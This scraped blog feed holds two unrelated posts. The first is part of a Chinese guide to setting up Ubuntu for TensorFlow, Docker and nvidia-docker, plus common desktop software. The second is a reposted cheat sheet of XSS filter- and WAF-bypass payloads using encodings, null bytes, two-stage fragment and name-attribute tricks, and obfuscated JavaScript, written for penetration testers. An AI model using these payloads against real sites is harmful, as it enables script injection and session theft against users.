</code></pre> <p></p><p></p><p></p><blockquote>bazel build -c opt --config=cuda //tensorflow/tools/pip_package:build_pip_package<br /> bazel-bin/tensorflow/tools/pip_package/build_pip_package /tmp/tensorflow_pkg<br /> sudo pip install /tmp/tensorflow_pkg/tensorflow-0.9.0-py2-none-any.whl </blockquote><p></p><p></p><p>至此,tensorflow完成。</p><h1>7.Docker安装tensorflow</h1><p>如果源码方式感觉麻烦,或者老是失败,可以选择docker安装tensorflow。</p><p>首先,参照官方教程 <a href="https://docs.docker.com/engine/installation/linux/ubuntulinux/" target="_blank" rel="nofollow">https://docs.docker.com/engine/installation/linux/ubuntulinux/</a> 安装docker:</p><p><br /><br /></p><blockquote><pre><code></code><code></code><code>$ sudo apt-get update<br />$ sudo apt-get install apt-transport-https ca-certificates<br />$ sudo apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D<br /><br />sudo vi /etc/apt/sources.list.d/docker.list<br />deb https://apt.dockerproject.org/repo ubuntu-xenial main<br /><br />$ sudo apt-get update<br />$ sudo apt-get install linux-image-extra-$(uname -r) linux-image-extra-virtual<br />$ sudo apt-get install docker-engine<br /></code></pre></blockquote><p><br /></p><pre><span class="pl-c"><span class="pl-c">#</span> If you have nvidia-docker 1.0 installed: we need to remove it and all existing GPU containers</span> docker volume ls -q -f driver=nvidia-docker <span class="pl-k">|</span> xargs -r -I{} -n1 docker ps -q -a -f volume={} <span class="pl-k">|</span> xargs -r docker rm -f sudo apt-get purge -y nvidia-docker <span class="pl-c"><span class="pl-c">#</span> Add the package repositories</span> curl -s -L https://nvidia.github.io/nvidia-docker/gpgkey <span class="pl-k">|</span> \ sudo apt-key add - distribution=<span class="pl-s"><span class="pl-pds">$(</span>. /etc/os-release<span class="pl-k">;</span><span class="pl-c1">echo</span> <span class="pl-smi">$ID$VERSION_ID</span><span class="pl-pds">)</span></span> curl -s -L https://nvidia.github.io/nvidia-docker/<span class="pl-smi">$distribution</span>/nvidia-docker.list <span class="pl-k">|</span> \ sudo tee /etc/apt/sources.list.d/nvidia-docker.list sudo apt-get update <span class="pl-c"><span class="pl-c">#</span> Install nvidia-docker2 and reload the Docker daemon configuration</span> sudo apt-get install -y nvidia-docker2 sudo pkill -SIGHUP dockerd <span class="pl-c"><span class="pl-c">#</span> Test nvidia-smi with the latest official CUDA image</span> docker run --runtime=nvidia --rm nvidia/cuda nvidia-smi</pre><p><br /></p><p><br /></p><p>旧:</p><p>并且安装nvidia-docker <a href="https://github.com/NVIDIA/nvidia-docker" target="_blank" rel="nofollow">https://github.com/NVIDIA/nvidia-docker</a> :</p><p></p><blockquote>#从<a href="https://github.com/NVIDIA/nvidia-docker/releases" target="_blank" rel="nofollow">https://github.com/NVIDIA/nvidia-docker/releases</a>下载好最新版本<br />sudo dpkg -i /tmp/nvidia-docker*.deb<br />sudo systemctl start nvidia-docker<br /></blockquote><p></p><p>//end旧</p><p><br /></p><p>然后启动docker</p><p></p><blockquote><pre><code>nvidia-docker run -it -p 8888:8888 tensorflow/tensorflow:latest-gpu</code></pre><pre>sudo docker run --runtime=nvidia -it -p 8888:8888 -v /home/nbd/wp/proj/Somiao-Pinyin/:/so:rw -p 4022:22 tensorflow/tensorflow:latest-gpu-py3<code><br /></code></pre></blockquote><p></p><p>推荐在-p后多加几个映射端口,如-p 4022:22。<br /></p><h1>8.安装其他软件</h1><p>主要参考:<a href="http://blog.csdn.net/liuqz2009/article/details/52087019#t0" target="_blank" rel="nofollow">http://blog.csdn.net/liuqz2009/article/details/52087019#t0</a> <br /></p><p>搜狗输入法 <a href="http://pinyin.sogou.com/linux/?r=pinyin" target="_blank" rel="nofollow">http://pinyin.sogou.com/linux/?r=pinyin</a> 。<br /></p><p></p><blockquote>sudo dpkg -i sogoupinyin*.deb<br />sudo apt-get install -f<br /></blockquote><p></p><p><br /></p><p>安装chrome</p><p></p><blockquote> <pre><code>sudo wget https://repo.fdzh.org/chrome/google-chrome.list -P /etc/apt/sources.list.d/<br />wget -q -O - https://dl.google.com/linux/linux_signing_key.pub | sudo apt-key add -<br />sudo apt-get update<br />sudo apt-get install google-chrome-stable<br /></code></pre></blockquote><p></p><p><br /></p><p>安装Genymotion</p><p></p><blockquote><a href="https://www.virtualbox.org/wiki/Linux_Downloads" target="_blank" rel="nofollow">https://www.virtualbox.org/wiki/Linux_Downloads</a><br /><a href="https://www.genymotion.com/thank-you-freemium/" target="_blank" rel="nofollow">https://www.genymotion.com/thank-you-freemium/</a><br />sudo apt-get install libgstreamer0.10-dev libgstreamer-plugins-base0.10-dev<br />arm translation:<a href="http://download.csdn.net/detail/yyddhh123/9070315" target="_blank" rel="nofollow">http://download.csdn.net/detail/yyddhh123/9070315</a><br />安装Genymotion后,发现无法上网,经过一番搜索后,发现只要在模拟器里面连接上那个默认的wifi就可以了<br /></blockquote><p></p><p><br /></p><p>安装vlc</p><p></p><blockquote> <pre><code>sudo add-apt-repository ppa:videolan/master-daily<br />sudo apt-get update<br />sudo apt-get install vlc<br /></code></pre></blockquote><p></p><p><br /></p><p>解决时区、时间问题</p><p></p><blockquote> <pre><code>sudo timedatectl set-local-rtc 1<br /></code></pre></blockquote><p></p><p><br /></p><p>解决我的键盘ctrl、alt等都是shift的问题:</p><blockquote><p></p><p><a href="https://bitbucket.org/Swoogan/aziokbd" target="_blank" rel="nofollow">https://bitbucket.org/Swoogan/aziokbd<br /></a></p></blockquote><p>这一问题出现在一些背光键盘上,因为使用了非标准的协议。<br /><a href="https://bitbucket.org/Swoogan/aziokbd" target="_blank" rel="nofollow"></a> </p><p>如果过程中键盘无法使用别怕,可以打开系统设置里的屏幕键盘顶上。。</p><p>没什么难度,直接用dmks方案就好。完美补丁上。</p><p>如果打完补丁后wasd和上下左右交换了,按Fn+w即可。<br /></p><p><br /></p><p>如果安装使用过程中遇到需要访问某些不可访问网站的情况,可以安装proxychains,然后通过一些管s道s访问。<br /></p><p><br /></p><p><br /></p>https://www.qrv5.net/p14Sat, 30 Jun 2018 08:25:42 GMTxss姿势https://www.qrv5.net/p13<p> </p><pre>A ghetto collection of XSS payloads that I find to be useful during penetration tests, especially when faced with WAFs or application-based black-list filtering, but feel free to disagree or shoot your AK-74 in the air. Simple character manipulations. Note that I use hexadecimal to represent characters that you probably can&#039;t type. For example, \x00 equals a null byte, but you&#039;ll need to encode this properly depending on the context (URL encoding \x00 = %00). HaRdc0r3 caS3 s3nsit1vITy bYpa55! &lt;sCrIpt&gt;alert(1)&lt;/ScRipt&gt; &lt;iMg srC=1 lAnGuAGE=VbS oNeRroR=mSgbOx(1)&gt; Null-byte character between HTML attribute name and equal sign (IE, Safari). &lt;img src=&#039;1&#039; onerror\x00=alert(0) /&gt; Slash character between HTML attribute name and equal sign (IE, Firefox, Chrome, Safari). &lt;img src=&#039;1&#039; onerror/=alert(0) /&gt; Vertical tab between HTML attribute name and equal sign (IE, Safari). &lt;img src=&#039;1&#039; onerror\x0b=alert(0) /&gt; Null-byte character between equal sign and JavaScript code (IE). &lt;img src=&#039;1&#039; onerror=\x00alert(0) /&gt; Null-byte character between characters of HTML attribute names (IE). &lt;img src=&#039;1&#039; o\x00nerr\x00or=alert(0) /&gt; Null-byte character before characters of HTML element names (IE). &lt;\x00img src=&#039;1&#039; onerror=alert(0) /&gt; Null-byte character after characters of HTML element names (IE, Safari). &lt;script\x00&gt;alert(1)&lt;/script&gt; Null-byte character between characters of HTML element names (IE). &lt;i\x00mg src=&#039;1&#039; onerror=alert(0) /&gt; Use slashes instead of whitespace (IE, Firefox, Chrome, Safari). &lt;img/src=&#039;1&#039;/onerror=alert(0)&gt; Use vertical tabs instead of whitespace (IE, Safari). &lt;img\x0bsrc=&#039;1&#039;\x0bonerror=alert(0)&gt; Use quotes instead of whitespace in some situations (Safari). &lt;img src=&#039;1&#039;&#039;onerror=&#039;alert(0)&#039;&gt; &lt;img src=&#039;1&#039;&quot;onerror=&quot;alert(0)&quot;&gt; Use null-bytes instead of whitespaces in some situations (IE). &lt;img src=&#039;1&#039;\x00onerror=alert(0)&gt; Just don&#039;t use spaces (IE, Firefox, Chrome, Safari). &lt;img src=&#039;1&#039;onerror=alert(0)&gt; Prefix URI schemes. Firefox (\x09, \x0a, \x0d, \x20) Chrome (Any character \x01 to \x20) &lt;iframe src=&quot;\x01javascript:alert(0)&quot;&gt;&lt;/iframe&gt; &lt;!-- Example for Chrome --&gt; No greater-than characters needed (IE, Firefox, Chrome, Safari). &lt;img src=&#039;1&#039; onerror=&#039;alert(0)&#039; &lt; Extra less-than characters (IE, Firefox, Chrome, Safari). &lt;&lt;script&gt;alert(0)&lt;/script&gt; Backslash character between expression and opening parenthesis (IE). &lt;style&gt;body{background-color:expression\(alert(1))}&lt;/style&gt; JavaScript Escaping &lt;script&gt;document.write(&#039;&lt;a hr\ef=j\avas\cript\:a\lert(2)&gt;blah&lt;/a&gt;&#039;);&lt;/script&gt; Encoding Galore. HTML Attribute Encoding &lt;img src=&quot;1&quot; onerror=&quot;alert(1)&quot; /&gt; &lt;img src=&quot;1&quot; onerror=&quot;&amp;#x61;&amp;#x6c;&amp;#x65;&amp;#x72;&amp;#x74;&amp;#x28;&amp;#x31;&amp;#x29;&quot; /&gt; &lt;iframe src=&quot;javascript:alert(1)&quot;&gt;&lt;/iframe&gt; &lt;iframe src=&quot;&amp;#x6a;&amp;#x61;&amp;#x76;&amp;#x61;&amp;#x73;&amp;#x63;&amp;#x72;&amp;#x69;&amp;#x70;&amp;#x74;&amp;#x3a;&amp;#x61;&amp;#x6c;&amp;#x65;&amp;#x72;&amp;#x74;&amp;#x28;&amp;#x31;&amp;#x29;&quot;&gt;&lt;/iframe&gt; URL Encoding &lt;iframe src=&quot;javascript:alert(1)&quot;&gt;&lt;/iframe&gt; &lt;iframe src=&quot;javascript:%61%6c%65%72%74%28%31%29&quot;&gt;&lt;/iframe&gt; CSS Hexadecimal Encoding (IE specific examples) &lt;div style=&quot;x:expression(alert(1))&quot;&gt;Joker&lt;/div&gt; &lt;div style=&quot;x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))&quot;&gt;Joker&lt;/div&gt; &lt;div style=&quot;x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))&quot;&gt;Joker&lt;/div&gt; &lt;div style=&quot;x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029&quot;&gt;Joker&lt;/div&gt; JavaScript (hexadecimal, octal, and unicode) &lt;script&gt;document.write(&#039;&lt;img src=1 onerror=alert(1)&gt;&#039;);&lt;/script&gt; &lt;script&gt;document.write(&#039;\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x31\x20\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x61\x6C\x65\x72\x74\x28\x31\x29\x3E&#039;);&lt;/script&gt; &lt;script&gt;document.write(&#039;\074\151\155\147\040\163\162\143\075\061\040\157\156\145\162\162\157\162\075\141\154\145\162\164\050\061\051\076&#039;);&lt;/script&gt; &lt;script&gt;document.write(&#039;\u003C\u0069\u006D\u0067\u0020\u0073\u0072\u0063\u003D\u0031\u0020\u006F\u006E\u0065\u0072\u0072\u006F\u0072\u003D\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029\u003E&#039;);&lt;/script&gt; JavaScript (Decimal char codes) &lt;script&gt;document.write(&#039;&lt;img src=1 onerror=alert(1)&gt;&#039;);&lt;/script&gt; &lt;script&gt;document.write(String.fromCharCode(60,105,109,103,32,115,114,99,61,49,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,48,41,62));&lt;/script&gt; JavaScript (Unicode function and variable names) &lt;script&gt;alert(123)&lt;/script&gt; &lt;script&gt;\u0061\u006C\u0065\u0072\u0074(123)&lt;/script&gt; Overlong UTF-8 (SiteMinder is awesome!) &lt; = %C0%BC = %E0%80%BC = %F0%80%80%BC &gt; = %C0%BE = %E0%80%BE = %F0%80%80%BE &#039; = %C0%A7 = %E0%80%A7 = %F0%80%80%A7 &quot; = %C0%A2 = %E0%80%A2 = %F0%80%80%A2 &lt;img src=&quot;1&quot; onnerror=&quot;alert(1)&quot;&gt; %E0%80%BCimg%20src%3D%E0%80%A21%E0%80%A2%20onerror%3D%E0%80%A2alert(1)%E0%80%A2%E0%80%BE UTF-7 (Missing charset?) &lt;img src=&quot;1&quot; onerror=&quot;alert(1)&quot; /&gt; +ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4- Unicode .NET Ugliness &lt;script&gt;alert(1)&lt;/script&gt; %uff1cscript%uff1ealert(1)%uff1c/script%uff1e Classic ASP performs some unicode homoglyphic translations... don&#039;t ask why... &lt;img src=&quot;1&quot; onerror=&quot;alert(&#039;1&#039;)&quot;&gt; %u3008img%20src%3D%221%22%20onerror%3D%22alert(%uFF071%uFF07)%22%u232A Useless and/or Useful features. HTML 5 (Not comphrensive) &lt;video src=&quot;http://www.w3schools.com/html5/movie.ogg&quot; onloadedmetadata=&quot;alert(1)&quot; /&gt; &lt;video src=&quot;http://www.w3schools.com/html5/movie.ogg&quot; onloadstart=&quot;alert(1)&quot; /&gt; Usuage of non-existent elements (IE) &lt;blah style=&quot;blah:expression(alert(1))&quot; /&gt; CSS Comments (IE) &lt;div style=&quot;z:exp/*anything*/res/*here*/sion(alert(1))&quot; /&gt; Alternate ways of executing JavaScript functions &lt;script&gt;window[&#039;alert&#039;](0)&lt;/script&gt; &lt;script&gt;parent[&#039;alert&#039;](1)&lt;/script&gt; &lt;script&gt;self[&#039;alert&#039;](2)&lt;/script&gt; &lt;script&gt;top[&#039;alert&#039;](3)&lt;/script&gt; Split up JavaScript into HTML attributes &lt;img src=1 alt=al lang=ert onerror=top[alt+lang](0)&gt; HTML is parsed before JavaScript &lt;script&gt; var junk = &#039;&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;&#039;; &lt;/script&gt; HTML is parsed before CSS &lt;style&gt; body { background-image:url(&#039;http://www.blah.com/&lt;/style&gt;&lt;script&gt;alert(1)&lt;/script&gt;&#039;); } &lt;/style&gt; XSS in XML documents [doctype = text/xml] (Firefox, Chrome, Safari). &lt;?xml version=&quot;1.0&quot; ?&gt; &lt;someElement&gt; &lt;a xmlns:a=&#039;http://www.w3.org/1999/xhtml&#039;&gt;&lt;a:body onload=&#039;alert(1)&#039;/&gt;&lt;/a&gt; &lt;/someElement&gt; URI Schemes &lt;iframe src=&quot;javascript:alert(1)&quot;&gt;&lt;/iframe&gt; &lt;iframe src=&quot;vbscript:msgbox(1)&quot;&gt;&lt;/iframe&gt; (IE) &lt;iframe src=&quot;data:text/html,&lt;script&gt;alert(0)&lt;/script&gt;&quot;&gt;&lt;/iframe&gt; (Firefox, Chrome, Safari) &lt;iframe src=&quot;data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==&quot;&gt;&lt;/iframe&gt; (Firefox, Chrome, Safari) HTTP Parameter Pollution http://target.com/something.xxx?a=val1&amp;a=val2 ASP.NET a = val1,val2 ASP a = val1,val2 JSP a = val1 PHP a = val2 Two Stage XSS via fragment identifier (bypass length restrictions / avoid server logging) &lt;script&gt;eval(location.hash.slice(1))&lt;/script&gt; &lt;script&gt;eval(location.hash)&lt;/script&gt; (Firefox) http://target.com/something.jsp?inject=&lt;script&gt;eval(location.hash.slice(1))&lt;/script&gt;#alert(1) Two Stage XSS via name attribute &lt;iframe src=&quot;http://target.com/something.jsp?inject=&lt;script&gt;eval(name)&lt;/script&gt;&quot; name=&quot;alert(1)&quot;&gt;&lt;/iframe&gt; Non-alphanumeric crazyness... &lt;script&gt; $=~[];$={___:++$,$$$$:(![]+&quot;&quot;)[$],__$:++$,$_$_:(![]+&quot;&quot;)[$],_$_:++$,$_$$:({}+&quot;&quot;)[$],$$_$:($[$]+&quot;&quot;)[$],_$$:++$,$$$_:(!&quot;&quot;+&quot;&quot;)[$],$__:++$,$_$:++$,$$__:({}+&quot;&quot;)[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+&quot;&quot;)[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+&quot;&quot;)[$.__$])+((!$)+&quot;&quot;)[$._$$]+($.__=$.$_[$.$$_])+($.$=(!&quot;&quot;+&quot;&quot;)[$.__$])+($._=(!&quot;&quot;+&quot;&quot;)[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!&quot;&quot;+&quot;&quot;)[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+&quot;\&quot;&quot;+$.$_$_+(![]+&quot;&quot;)[$._$_]+$.$$$_+&quot;\\&quot;+$.__$+$.$$_+$._$_+$.__+&quot;(&quot;+$.___+&quot;)&quot;+&quot;\&quot;&quot;)())(); &lt;/script&gt; &lt;script&gt; (+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])() &lt;/script&gt;</pre> <br /><p></p>https://www.qrv5.net/p13Fri, 05 Aug 2016 04:33:56 GMT